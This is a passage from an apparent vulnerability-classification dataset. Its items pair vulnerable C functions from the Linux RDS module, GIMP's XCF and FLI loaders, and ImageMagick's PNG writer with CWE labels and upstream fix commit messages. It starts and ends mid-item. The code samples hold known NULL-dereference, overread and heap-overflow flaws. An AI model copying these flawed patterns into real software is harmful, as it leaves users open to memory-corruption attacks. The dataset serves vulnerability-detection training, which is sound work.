nents;\n\tlong i;\n\tint ret;\n\n\tif (rs->rs_bound_addr == 0) {\n\t\tret = -ENOTCONN; /* XXX not a great errno */\n\t\tgoto out;\n\t}\n\n\tif (!rs->rs_transport->get_mr) {\n\t\tret = -EOPNOTSUPP;\n\t\tgoto out;\n\t}\n\n\tnr_pages = rds_pages_in_vec(&args->vec);\n\tif (nr_pages == 0) {\n\t\tret = -EINVAL;\n\t\tgoto out;\n\t}\n\n\t/* Restrict the size of mr irrespective of underlying transport\n\t * To account for unaligned mr regions, subtract one from nr_pages\n\t */\n\tif ((nr_pages - 1) > (RDS_MAX_MSG_SIZE >> PAGE_SHIFT)) {\n\t\tret = -EMSGSIZE;\n\t\tgoto out;\n\t}\n\n\trdsdebug(\"RDS: get_mr addr %llx len %llu nr_pages %u\\n\",\n\t\targs->vec.addr, args->vec.bytes, nr_pages);\n\n\t/* XXX clamp nr_pages to limit the size of this alloc? */\n\tpages = kcalloc(nr_pages, sizeof(struct page *), GFP_KERNEL);\n\tif (!pages) {\n\t\tret = -ENOMEM;\n\t\tgoto out;\n\t}\n\n\tmr = kzalloc(sizeof(struct rds_mr), GFP_KERNEL);\n\tif (!mr) {\n\t\tret = -ENOMEM;\n\t\tgoto out;\n\t}\n\n\trefcount_set(&mr->r_refcount, 1);\n\tRB_CLEAR_NODE(&mr->r_rb_node);\n\tmr->r_trans = rs->rs_transport;\n\tmr->r_sock = rs;\n\n\tif (args->flags & RDS_RDMA_USE_ONCE)\n\t\tmr->r_use_once = 1;\n\tif (args->flags & RDS_RDMA_INVALIDATE)\n\t\tmr->r_invalidate = 1;\n\tif (args->flags & RDS_RDMA_READWRITE)\n\t\tmr->r_write = 1;\n\n\t/*\n\t * Pin the pages that make up the user buffer and transfer the page\n\t * pointers to the mr's sg array. We check to see if we've mapped\n\t * the whole region after transferring the partial page references\n\t * to the sg array so that we can have one page ref cleanup path.\n\t *\n\t * For now we have no flag that tells us whether the mapping is\n\t * r/o or r/w. We need to assume r/w, or we'll do a lot of RDMA to\n\t * the zero page.\n\t */\n\tret = rds_pin_pages(args->vec.addr, nr_pages, pages, 1);\n\tif (ret < 0)\n\t\tgoto out;\n\n\tnents = ret;\n\tsg = kcalloc(nents, sizeof(*sg), GFP_KERNEL);\n\tif (!sg) {\n\t\tret = -ENOMEM;\n\t\tgoto out;\n\t}\n\tWARN_ON(!nents);\n\tsg_init_table(sg, nents);\n\n\t/* Stick all pages into the scatterlist */\n\tfor (i = 0 ; i < nents; i++)\n\t\tsg_set_page(&sg[i], pages[i], PAGE_SIZE, 0);\n\n\trdsdebug(\"RDS: trans_private nents is %u\\n\", nents);\n\n\t/* Obtain a transport specific MR. If this succeeds, the\n\t * s/g list is now owned by the MR.\n\t * Note that dma_map() implies that pending writes are\n\t * flushed to RAM, so no dma_sync is needed here. */\n\ttrans_private = rs->rs_transport->get_mr(sg, nents, rs,\n\t\t\t\t\t\t &mr->r_key);\n\n\tif (IS_ERR(trans_private)) {\n\t\tfor (i = 0 ; i < nents; i++)\n\t\t\tput_page(sg_page(&sg[i]));\n\t\tkfree(sg);\n\t\tret = PTR_ERR(trans_private);\n\t\tgoto out;\n\t}\n\n\tmr->r_trans_private = trans_private;\n\n\trdsdebug(\"RDS: get_mr put_user key is %x cookie_addr %p\\n\",\n\t mr->r_key, (void *)(unsigned long) args->cookie_addr);\n\n\t/* The user may pass us an unaligned address, but we can only\n\t * map page aligned regions. So we keep the offset, and build\n\t * a 64bit cookie containing and pass that\n\t * around. */\n\tcookie = rds_rdma_make_cookie(mr->r_key, args->vec.addr & ~PAGE_MASK);\n\tif (cookie_ret)\n\t\t*cookie_ret = cookie;\n\n\tif (args->cookie_addr && put_user(cookie, (u64 __user *)(unsigned long) args->cookie_addr)) {\n\t\tret = -EFAULT;\n\t\tgoto out;\n\t}\n\n\t/* Inserting the new MR into the rbtree bumps its\n\t * reference count. */\n\tspin_lock_irqsave(&rs->rs_rdma_lock, flags);\n\tfound = rds_mr_tree_walk(&rs->rs_rdma_keys, mr->r_key, mr);\n\tspin_unlock_irqrestore(&rs->rs_rdma_lock, flags);\n\n\tBUG_ON(found && found != mr);\n\n\trdsdebug(\"RDS: get_mr key is %x\\n\", mr->r_key);\n\tif (mr_ret) {\n\t\trefcount_inc(&mr->r_refcount);\n\t\t*mr_ret = mr;\n\t}\n\n\tret = 0;\nout:\n\tkfree(pages);\n\tif (mr)\n\t\trds_mr_put(mr);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'rds: Fix NULL pointer dereference in __rds_rdma_map\n\nThis is a fix for syzkaller719569, where memory registration was\nattempted without any underlying transport being loaded.\n\nAnalysis of the case reveals that it is the setsockopt() RDS_GET_MR\n(2) and RDS_GET_MR_FOR_DEST (7) that are vulnerable.\n\nHere is an example stack trace when the bug is hit:\n\nBUG: unable to handle kernel NULL pointer dereference at 00000000000000c0\nIP: __rds_rdma_map+0x36/0x440 [rds]\nPGD 2f93d03067 P4D 2f93d03067 PUD 2f93d02067 PMD 0\nOops: 0000 [#1] SMP\nModules linked in: bridge stp llc tun rpcsec_gss_krb5 nfsv4\ndns_resolver nfs fscache rds binfmt_misc sb_edac intel_powerclamp\ncoretemp kvm_intel kvm irqbypass crct10dif_pclmul c rc32_pclmul\nghash_clmulni_intel pcbc aesni_intel crypto_simd glue_helper cryptd\niTCO_wdt mei_me sg iTCO_vendor_support ipmi_si mei ipmi_devintf nfsd\nshpchp pcspkr i2c_i801 ioatd ma ipmi_msghandler wmi lpc_ich mfd_core\nauth_rpcgss nfs_acl lockd grace sunrpc ip_tables ext4 mbcache jbd2\nmgag200 i2c_algo_bit drm_kms_helper ixgbe syscopyarea ahci sysfillrect\nsysimgblt libahci mdio fb_sys_fops ttm ptp libata sd_mod mlx4_core drm\ncrc32c_intel pps_core megaraid_sas i2c_core dca dm_mirror\ndm_region_hash dm_log dm_mod\nCPU: 48 PID: 45787 Comm: repro_set2 Not tainted 4.14.2-3.el7uek.x86_64 #2\nHardware name: Oracle Corporation ORACLE SERVER X5-2L/ASM,MOBO TRAY,2U, BIOS 31110000 03/03/2017\ntask: ffff882f9190db00 task.stack: ffffc9002b994000\nRIP: 0010:__rds_rdma_map+0x36/0x440 [rds]\nRSP: 0018:ffffc9002b997df0 EFLAGS: 00010202\nRAX: 0000000000000000 RBX: ffff882fa2182580 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: ffffc9002b997e40 RDI: ffff882fa2182580\nRBP: ffffc9002b997e30 R08: 0000000000000000 R09: 0000000000000002\nR10: ffff885fb29e3838 R11: 0000000000000000 R12: ffff882fa2182580\nR13: ffff882fa2182580 R14: 0000000000000002 R15: 0000000020000ffc\nFS: 00007fbffa20b700(0000) GS:ffff882fbfb80000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00000000000000c0 CR3: 0000002f98a66006 CR4: 00000000001606e0\nCall Trace:\n rds_get_mr+0x56/0x80 [rds]\n rds_setsockopt+0x172/0x340 [rds]\n ? __fget_light+0x25/0x60\n ? __fdget+0x13/0x20\n SyS_setsockopt+0x80/0xe0\n do_syscall_64+0x67/0x1b0\n entry_SYSCALL64_slow_path+0x25/0x25\nRIP: 0033:0x7fbff9b117f9\nRSP: 002b:00007fbffa20aed8 EFLAGS: 00000293 ORIG_RAX: 0000000000000036\nRAX: ffffffffffffffda RBX: 00000000000c84a4 RCX: 00007fbff9b117f9\nRDX: 0000000000000002 RSI: 0000400000000114 RDI: 000000000000109b\nRBP: 00007fbffa20af10 R08: 0000000000000020 R09: 00007fbff9dd7860\nR10: 0000000020000ffc R11: 0000000000000293 R12: 0000000000000000\nR13: 00007fbffa20b9c0 R14: 00007fbffa20b700 R15: 0000000000000021\n\nCode: 41 56 41 55 49 89 fd 41 54 53 48 83 ec 18 8b 87 f0 02 00 00 48\n89 55 d0 48 89 4d c8 85 c0 0f 84 2d 03 00 00 48 8b 87 00 03 00 00 <48>\n83 b8 c0 00 00 00 00 0f 84 25 03 00 0 0 48 8b 06 48 8b 56 08\n\nThe fix is to check the existence of an underlying transport in\n__rds_rdma_map().\n\nSigned-off-by: H\u00e5kon Bugge \nReported-by: syzbot \nAcked-by: Santosh Shilimkar \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xcf_load_stream (Gimp *gimp,\n GInputStream *input,\n GFile *input_file,\n GimpProgress *progress,\n GError **error)\n{\n XcfInfo info = { 0, };\n const gchar *filename;\n GimpImage *image = NULL;\n gchar id[14];\n gboolean success;\n\n g_return_val_if_fail (GIMP_IS_GIMP (gimp), NULL);\n g_return_val_if_fail (G_IS_INPUT_STREAM (input), NULL);\n g_return_val_if_fail (input_file == NULL || G_IS_FILE (input_file), NULL);\n g_return_val_if_fail (progress == NULL || GIMP_IS_PROGRESS (progress), NULL);\n g_return_val_if_fail (error == NULL || *error == NULL, NULL);\n\n if (input_file)\n filename = gimp_file_get_utf8_name (input_file);\n else\n filename = _(\"Memory Stream\");\n\n info.gimp = gimp;\n info.input = input;\n info.seekable = G_SEEKABLE (input);\n info.bytes_per_offset = 4;\n info.progress = progress;\n info.file = input_file;\n info.compression = COMPRESS_NONE;\n\n if (progress)\n gimp_progress_start (progress, FALSE, _(\"Opening '%s'\"), filename);\n\n success = TRUE;\n\n xcf_read_int8 (&info, (guint8 *) id, 14);\n\n if (! g_str_has_prefix (id, \"gimp xcf \"))\n {\n success = FALSE;\n }\n else if (strcmp (id + 9, \"file\") == 0)\n {\n info.file_version = 0;\n }\n else if (id[9] == 'v')\n {\n info.file_version = atoi (id + 10);\n }\n else\n {\n success = FALSE;\n }\n\n if (info.file_version >= 11)\n info.bytes_per_offset = 8;\n\n if (success)\n {\n if (info.file_version >= 0 &&\n info.file_version < G_N_ELEMENTS (xcf_loaders))\n {\n image = (*(xcf_loaders[info.file_version])) (gimp, &info, error);\n\n if (! image)\n success = FALSE;\n\n g_input_stream_close (info.input, NULL, NULL);\n }\n else\n {\n g_set_error (error, G_FILE_ERROR, G_FILE_ERROR_FAILED,\n _(\"XCF error: unsupported XCF file version %d \"\n \"encountered\"), info.file_version);\n success = FALSE;\n }\n }\n\n if (progress)\n gimp_progress_end (progress);\n\n return image;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': '790783 - buffer overread in XCF parser if version field...\n\n...has no null terminator\n\nCheck for the presence of '\\0' before using atoi() on the version\nstring. Patch slightly modified (mitch).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void fli_read_lc(FILE *f, s_fli_header *fli_header, unsigned char *old_framebuf, unsigned char *framebuf)\n{\n\tunsigned short yc, firstline, numline;\n\tunsigned char *pos;\n\tmemcpy(framebuf, old_framebuf, fli_header->width * fli_header->height);\n\tfirstline = fli_read_short(f);\n\tnumline = fli_read_short(f);\n\tfor (yc=0; yc < numline; yc++) {\n\t\tunsigned short xc, pc, pcnt;\n\t\tpc=fli_read_char(f);\n\t\txc=0;\n\t\tpos=framebuf+(fli_header->width * (firstline+yc));\n\t\tfor (pcnt=pc; pcnt>0; pcnt--) {\n\t\t\tunsigned short ps,skip;\n\t\t\tskip=fli_read_char(f);\n\t\t\tps=fli_read_char(f);\n\t\t\txc+=skip;\n\t\t\tif (ps & 0x80) {\n\t\t\t\tunsigned char val;\n\t\t\t\tps=-(signed char)ps;\n\t\t\t\tval=fli_read_char(f);\n\t\t\t\tmemset(&(pos[xc]), val, ps);\n\t\t\t\txc+=ps;\n\t\t\t} else {\n\t\t\t\tfread(&(pos[xc]), ps, 1, f);\n\t\t\t\txc+=ps;\n\t\t\t}\n\t\t}\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Bug 739133 - (CVE-2017-17785) Heap overflow while parsing FLI files.\n\nIt is possible to trigger a heap overflow while parsing FLI files. The\nRLE decoder is vulnerable to out of boundary writes due to lack of\nboundary checks.\n\nThe variable \"framebuf\" points to a memory area which was allocated\nwith fli_header->width * fli_header->height bytes. The RLE decoder\ntherefore must never write beyond that limit.\n\nIf an illegal frame is detected, the parser won't stop, which means\nthat the next valid sequence is properly parsed again. This should\nallow GIMP to parse FLI files as good as possible even if they are\nbroken by an attacker or by accident.\n\nWhile at it, I changed the variable xc to be of type size_t, because\nthe multiplication of width and height could overflow a 16 bit type.\n\nSigned-off-by: Tobias Stoeckmann '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WriteOnePNGImage(MngInfo *mng_info,\n const ImageInfo *IMimage_info,Image *IMimage,ExceptionInfo *exception)\n{\n char\n im_vers[32],\n libpng_runv[32],\n libpng_vers[32],\n zlib_runv[32],\n zlib_vers[32];\n\n Image\n *image;\n\n ImageInfo\n *image_info;\n\n char\n s[2];\n\n const char\n *name,\n *property,\n *value;\n\n const StringInfo\n *profile;\n\n int\n num_passes,\n pass,\n ping_wrote_caNv;\n\n png_byte\n ping_trans_alpha[256];\n\n png_color\n palette[257];\n\n png_color_16\n ping_background,\n ping_trans_color;\n\n png_info\n *ping_info;\n\n png_struct\n *ping;\n\n png_uint_32\n ping_height,\n ping_width;\n\n ssize_t\n y;\n\n MagickBooleanType\n image_matte,\n logging,\n matte,\n\n ping_have_blob,\n ping_have_cheap_transparency,\n ping_have_color,\n ping_have_non_bw,\n ping_have_PLTE,\n ping_have_bKGD,\n ping_have_eXIf,\n ping_have_iCCP,\n ping_have_pHYs,\n ping_have_sRGB,\n ping_have_tRNS,\n\n ping_exclude_bKGD,\n ping_exclude_cHRM,\n ping_exclude_date,\n /* ping_exclude_EXIF, */\n ping_exclude_eXIf,\n ping_exclude_gAMA,\n ping_exclude_iCCP,\n /* ping_exclude_iTXt, */\n ping_exclude_oFFs,\n ping_exclude_pHYs,\n ping_exclude_sRGB,\n ping_exclude_tEXt,\n ping_exclude_tIME,\n /* ping_exclude_tRNS, */\n ping_exclude_caNv,\n ping_exclude_zCCP, /* hex-encoded iCCP */\n ping_exclude_zTXt,\n\n ping_preserve_colormap,\n ping_preserve_iCCP,\n ping_need_colortype_warning,\n\n status,\n tried_332,\n tried_333,\n tried_444;\n\n MemoryInfo\n *volatile pixel_info;\n\n QuantumInfo\n *quantum_info;\n\n PNGErrorInfo\n error_info;\n\n register ssize_t\n i,\n x;\n\n unsigned char\n *ping_pixels;\n\n volatile int\n image_colors,\n ping_bit_depth,\n ping_color_type,\n ping_interlace_method,\n ping_compression_method,\n ping_filter_method,\n ping_num_trans;\n\n volatile size_t\n image_depth,\n old_bit_depth;\n\n size_t\n quality,\n rowbytes,\n save_image_depth;\n\n int\n j,\n number_colors,\n number_opaque,\n number_semitransparent,\n number_transparent,\n ping_pHYs_unit_type;\n\n png_uint_32\n ping_pHYs_x_resolution,\n ping_pHYs_y_resolution;\n\n logging=LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Enter WriteOnePNGImage()\");\n\n image = CloneImage(IMimage,0,0,MagickFalse,exception);\n if (image == (Image *) NULL)\n return(MagickFalse);\n image_info=(ImageInfo *) CloneImageInfo(IMimage_info);\n\n /* Define these outside of the following \"if logging()\" block so they will\n * show in debuggers.\n */\n *im_vers='\\0';\n (void) ConcatenateMagickString(im_vers,\n MagickLibVersionText,MagickPathExtent);\n (void) ConcatenateMagickString(im_vers,\n MagickLibAddendum,MagickPathExtent);\n\n *libpng_vers='\\0';\n (void) ConcatenateMagickString(libpng_vers,\n PNG_LIBPNG_VER_STRING,32);\n *libpng_runv='\\0';\n (void) ConcatenateMagickString(libpng_runv,\n png_get_libpng_ver(NULL),32);\n\n *zlib_vers='\\0';\n (void) ConcatenateMagickString(zlib_vers,\n ZLIB_VERSION,32);\n *zlib_runv='\\0';\n (void) ConcatenateMagickString(zlib_runv,\n zlib_version,32);\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" IM version = %s\", im_vers);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Libpng version = %s\", libpng_vers);\n if (LocaleCompare(libpng_vers,libpng_runv) != 0)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" running with %s\", libpng_runv);\n }\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Zlib version = %s\", zlib_vers);\n if (LocaleCompare(zlib_vers,zlib_runv) != 0)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" running with %s\", zlib_runv);\n }\n }\n\n /* Initialize some stuff */\n ping_bit_depth=0,\n ping_color_type=0,\n ping_interlace_method=0,\n ping_compression_method=0,\n ping_filter_method=0,\n ping_num_trans = 0;\n\n ping_background.red = 0;\n ping_background.green = 0;\n ping_background.blue = 0;\n ping_background.gray = 0;\n ping_background.index = 0;\n\n ping_trans_color.red=0;\n ping_trans_color.green=0;\n ping_trans_color.blue=0;\n ping_trans_color.gray=0;\n\n ping_pHYs_unit_type = 0;\n ping_pHYs_x_resolution = 0;\n ping_pHYs_y_resolution = 0;\n\n ping_have_blob=MagickFalse;\n ping_have_cheap_transparency=MagickFalse;\n ping_have_color=MagickTrue;\n ping_have_non_bw=MagickTrue;\n ping_have_PLTE=MagickFalse;\n ping_have_bKGD=MagickFalse;\n ping_have_eXIf=MagickTrue;\n ping_have_iCCP=MagickFalse;\n ping_have_pHYs=MagickFalse;\n ping_have_sRGB=MagickFalse;\n ping_have_tRNS=MagickFalse;\n\n ping_exclude_bKGD=mng_info->ping_exclude_bKGD;\n ping_exclude_caNv=mng_info->ping_exclude_caNv;\n ping_exclude_cHRM=mng_info->ping_exclude_cHRM;\n ping_exclude_date=mng_info->ping_exclude_date;\n ping_exclude_eXIf=mng_info->ping_exclude_eXIf;\n ping_exclude_gAMA=mng_info->ping_exclude_gAMA;\n ping_exclude_iCCP=mng_info->ping_exclude_iCCP;\n /* ping_exclude_iTXt=mng_info->ping_exclude_iTXt; */\n ping_exclude_oFFs=mng_info->ping_exclude_oFFs;\n ping_exclude_pHYs=mng_info->ping_exclude_pHYs;\n ping_exclude_sRGB=mng_info->ping_exclude_sRGB;\n ping_exclude_tEXt=mng_info->ping_exclude_tEXt;\n ping_exclude_tIME=mng_info->ping_exclude_tIME;\n /* ping_exclude_tRNS=mng_info->ping_exclude_tRNS; */\n ping_exclude_zCCP=mng_info->ping_exclude_zCCP; /* hex-encoded iCCP in zTXt */\n ping_exclude_zTXt=mng_info->ping_exclude_zTXt;\n\n ping_preserve_colormap = mng_info->ping_preserve_colormap;\n ping_preserve_iCCP = mng_info->ping_preserve_iCCP;\n ping_need_colortype_warning = MagickFalse;\n\n /* Recognize the ICC sRGB profile and convert it to the sRGB chunk,\n * i.e., eliminate the ICC profile and set image->rendering_intent.\n * Note that this will not involve any changes to the actual pixels\n * but merely passes information to applications that read the resulting\n * PNG image.\n *\n * To do: recognize other variants of the sRGB profile, using the CRC to\n * verify all recognized variants including the 7 already known.\n *\n * Work around libpng16+ rejecting some \"known invalid sRGB profiles\".\n *\n * Use something other than image->rendering_intent to record the fact\n * that the sRGB profile was found.\n *\n * Record the ICC version (currently v2 or v4) of the incoming sRGB ICC\n * profile. Record the Blackpoint Compensation, if any.\n */\n if (ping_exclude_sRGB == MagickFalse && ping_preserve_iCCP == MagickFalse)\n {\n char\n *name;\n\n const StringInfo\n *profile;\n\n ResetImageProfileIterator(image);\n for (name=GetNextImageProfile(image); name != (const char *) NULL; )\n {\n profile=GetImageProfile(image,name);\n\n if (profile != (StringInfo *) NULL)\n {\n if ((LocaleCompare(name,\"ICC\") == 0) ||\n (LocaleCompare(name,\"ICM\") == 0))\n\n {\n int\n icheck,\n got_crc=0;\n\n\n png_uint_32\n length,\n profile_crc=0;\n\n unsigned char\n *data;\n\n length=(png_uint_32) GetStringInfoLength(profile);\n\n for (icheck=0; sRGB_info[icheck].len > 0; icheck++)\n {\n if (length == sRGB_info[icheck].len)\n {\n if (got_crc == 0)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Got a %lu-byte ICC profile (potentially sRGB)\",\n (unsigned long) length);\n\n data=GetStringInfoDatum(profile);\n profile_crc=crc32(0,data,length);\n\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" with crc=%8x\",(unsigned int) profile_crc);\n got_crc++;\n }\n\n if (profile_crc == sRGB_info[icheck].crc)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" It is sRGB with rendering intent = %s\",\n Magick_RenderingIntentString_from_PNG_RenderingIntent(\n sRGB_info[icheck].intent));\n if (image->rendering_intent==UndefinedIntent)\n {\n image->rendering_intent=\n Magick_RenderingIntent_from_PNG_RenderingIntent(\n sRGB_info[icheck].intent);\n }\n ping_exclude_iCCP = MagickTrue;\n ping_exclude_zCCP = MagickTrue;\n ping_have_sRGB = MagickTrue;\n break;\n }\n }\n }\n if (sRGB_info[icheck].len == 0)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Got %lu-byte ICC profile not recognized as sRGB\",\n (unsigned long) length);\n }\n }\n name=GetNextImageProfile(image);\n }\n }\n\n number_opaque = 0;\n number_semitransparent = 0;\n number_transparent = 0;\n\n if (logging != MagickFalse)\n {\n if (image->storage_class == UndefinedClass)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->storage_class=UndefinedClass\");\n if (image->storage_class == DirectClass)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->storage_class=DirectClass\");\n if (image->storage_class == PseudoClass)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->storage_class=PseudoClass\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(), image->taint ?\n \" image->taint=MagickTrue\":\n \" image->taint=MagickFalse\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->gamma=%g\", image->gamma);\n }\n\n if (image->storage_class == PseudoClass &&\n (mng_info->write_png8 || mng_info->write_png24 || mng_info->write_png32 ||\n mng_info->write_png48 || mng_info->write_png64 ||\n (mng_info->write_png_colortype != 1 &&\n mng_info->write_png_colortype != 5)))\n {\n (void) SyncImage(image,exception);\n image->storage_class = DirectClass;\n }\n\n if (ping_preserve_colormap == MagickFalse)\n {\n if (image->storage_class != PseudoClass && image->colormap != NULL)\n {\n /* Free the bogus colormap; it can cause trouble later */\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Freeing bogus colormap\");\n (void) RelinquishMagickMemory(image->colormap);\n image->colormap=NULL;\n }\n }\n\n if (IssRGBCompatibleColorspace(image->colorspace) == MagickFalse)\n (void) TransformImageColorspace(image,sRGBColorspace,exception);\n\n /*\n Sometimes we get PseudoClass images whose RGB values don't match\n the colors in the colormap. This code syncs the RGB values.\n */\n if (image->depth <= 8 && image->taint && image->storage_class == PseudoClass)\n (void) SyncImage(image,exception);\n\n#if (MAGICKCORE_QUANTUM_DEPTH == 8)\n if (image->depth > 8)\n {\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Reducing PNG bit depth to 8 since this is a Q8 build.\");\n\n image->depth=8;\n }\n#endif\n\n /* Respect the -depth option */\n if (image->depth < 4)\n {\n register Quantum\n *r;\n\n if (image->depth > 2)\n {\n /* Scale to 4-bit */\n LBR04PacketRGBO(image->background_color);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n LBR04PixelRGBA(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n LBR04PacketRGBO(image->colormap[i]);\n }\n }\n }\n else if (image->depth > 1)\n {\n /* Scale to 2-bit */\n LBR02PacketRGBO(image->background_color);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n LBR02PixelRGBA(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n LBR02PacketRGBO(image->colormap[i]);\n }\n }\n }\n else\n {\n /* Scale to 1-bit */\n LBR01PacketRGBO(image->background_color);\n\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n r=GetAuthenticPixels(image,0,y,image->columns,1,exception);\n\n if (r == (Quantum *) NULL)\n break;\n\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n LBR01PixelRGBA(r);\n r+=GetPixelChannels(image);\n }\n\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n LBR01PacketRGBO(image->colormap[i]);\n }\n }\n }\n }\n\n /* To do: set to next higher multiple of 8 */\n if (image->depth < 8)\n image->depth=8;\n\n#if (MAGICKCORE_QUANTUM_DEPTH > 16)\n /* PNG does not handle depths greater than 16 so reduce it even\n * if lossy\n */\n if (image->depth > 8)\n image->depth=16;\n#endif\n\n#if (MAGICKCORE_QUANTUM_DEPTH > 8)\n if (image->depth > 8)\n {\n /* To do: fill low byte properly */\n image->depth=16;\n }\n\n if (image->depth == 16 && mng_info->write_png_depth != 16)\n if (mng_info->write_png8 ||\n LosslessReduceDepthOK(image,exception) != MagickFalse)\n image->depth = 8;\n#endif\n\n image_colors = (int) image->colors;\n number_opaque = (int) image->colors;\n number_transparent = 0;\n number_semitransparent = 0;\n\n if (mng_info->write_png_colortype &&\n (mng_info->write_png_colortype > 4 || (mng_info->write_png_depth >= 8 &&\n mng_info->write_png_colortype < 4 &&\n image->alpha_trait == UndefinedPixelTrait)))\n {\n /* Avoid the expensive BUILD_PALETTE operation if we're sure that we\n * are not going to need the result.\n */\n if (mng_info->write_png_colortype == 1 ||\n mng_info->write_png_colortype == 5)\n ping_have_color=MagickFalse;\n\n if (image->alpha_trait != UndefinedPixelTrait)\n {\n number_transparent = 2;\n number_semitransparent = 1;\n }\n }\n\n if (mng_info->write_png_colortype < 7)\n {\n /* BUILD_PALETTE\n *\n * Normally we run this just once, but in the case of writing PNG8\n * we reduce the transparency to binary and run again, then if there\n * are still too many colors we reduce to a simple 4-4-4-1, then 3-3-3-1\n * RGBA palette and run again, and then to a simple 3-3-2-1 RGBA\n * palette. Then (To do) we take care of a final reduction that is only\n * needed if there are still 256 colors present and one of them has both\n * transparent and opaque instances.\n */\n\n tried_332 = MagickFalse;\n tried_333 = MagickFalse;\n tried_444 = MagickFalse;\n\n for (j=0; j<6; j++)\n {\n /*\n * Sometimes we get DirectClass images that have 256 colors or fewer.\n * This code will build a colormap.\n *\n * Also, sometimes we get PseudoClass images with an out-of-date\n * colormap. This code will replace the colormap with a new one.\n * Sometimes we get PseudoClass images that have more than 256 colors.\n * This code will delete the colormap and change the image to\n * DirectClass.\n *\n * If image->alpha_trait is MagickFalse, we ignore the alpha channel\n * even though it sometimes contains left-over non-opaque values.\n *\n * Also we gather some information (number of opaque, transparent,\n * and semitransparent pixels, and whether the image has any non-gray\n * pixels or only black-and-white pixels) that we might need later.\n *\n * Even if the user wants to force GrayAlpha or RGBA (colortype 4 or 6)\n * we need to check for bogus non-opaque values, at least.\n */\n\n int\n n;\n\n PixelInfo\n opaque[260],\n semitransparent[260],\n transparent[260];\n\n register const Quantum\n *s;\n\n register Quantum\n *q,\n *r;\n\n if (logging != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Enter BUILD_PALETTE:\");\n\n if (logging != MagickFalse)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->columns=%.20g\",(double) image->columns);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->rows=%.20g\",(double) image->rows);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->alpha_trait=%.20g\",(double) image->alpha_trait);\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" image->depth=%.20g\",(double) image->depth);\n\n if (image->storage_class == PseudoClass && image->colormap != NULL)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" Original colormap:\");\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" i (red,green,blue,alpha)\");\n\n for (i=0; i < 256; i++)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" %d (%d,%d,%d,%d)\",\n (int) i,\n (int) image->colormap[i].red,\n (int) image->colormap[i].green,\n (int) image->colormap[i].blue,\n (int) image->colormap[i].alpha);\n }\n\n for (i=image->colors - 10; i < (ssize_t) image->colors; i++)\n {\n if (i > 255)\n {\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" %d (%d,%d,%d,%d)\",\n (int) i,\n (int) image->colormap[i].red,\n 